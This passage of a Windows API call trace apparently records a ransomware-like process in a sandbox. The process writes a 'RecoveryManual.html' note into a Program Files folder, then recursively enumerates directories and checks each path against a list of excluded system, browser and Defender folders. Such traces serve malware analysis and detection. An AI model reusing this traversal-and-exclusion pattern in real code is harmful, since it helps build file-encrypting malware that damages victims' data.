nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0250.074] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0250.075] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa8e) returned 0x2f0000 [0250.076] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.076] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37074469936) returned 1 [0250.076] CloseHandle (hObject=0x194) returned 1 [0250.076] SetSecurityInfo () returned 0x5 [0250.076] SetSecurityInfo () returned 0x5 [0250.076] LocalFree (hMem=0x674d38) returned 0x0 [0250.076] CloseHandle (hObject=0x190) returned 1 [0250.076] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\Services\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\Services\\") returned="\\\\?\\c:\\Program Files\\Common Files\\Services\\" [0250.076] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\Services\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\Services\\RecoveryManual.html" [0250.076] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\Services\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\services\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0250.077] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0250.078] CloseHandle (hObject=0x190) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0250.078] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0250.078] lstrcpyW (in: lpString1=0x69b8e0, lpString2="SpeechEngines" | out: lpString1="SpeechEngines") returned="SpeechEngines" [0250.078] lstrcatW (in: lpString1="SpeechEngines", lpString2="\\" | out: lpString1="SpeechEngines\\") returned="SpeechEngines\\" [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\Windows\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\WINNT") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.078] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.079] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\") returned 48 [0250.079] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0250.079] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\" [0250.079] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.079] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0250.079] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0250.079] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\Windows\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.079] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\WINNT") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.080] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.080] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned 58 [0250.080] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0250.081] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" [0250.081] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.082] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0250.082] lstrcpyW (in: lpString1=0x69b910, lpString2="TTS20" | out: lpString1="TTS20") returned="TTS20" [0250.082] lstrcatW (in: lpString1="TTS20", lpString2="\\" | out: lpString1="TTS20\\") returned="TTS20\\" [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\Windows\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\WINNT") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.082] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.083] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned 64 [0250.083] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x668128 [0250.083] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0250.083] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.083] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.083] lstrcpyW (in: lpString1=0x69b91c, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0250.083] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\Windows\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\WINNT") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.083] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.084] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.084] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned 70 [0250.084] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x6bb89c | out: 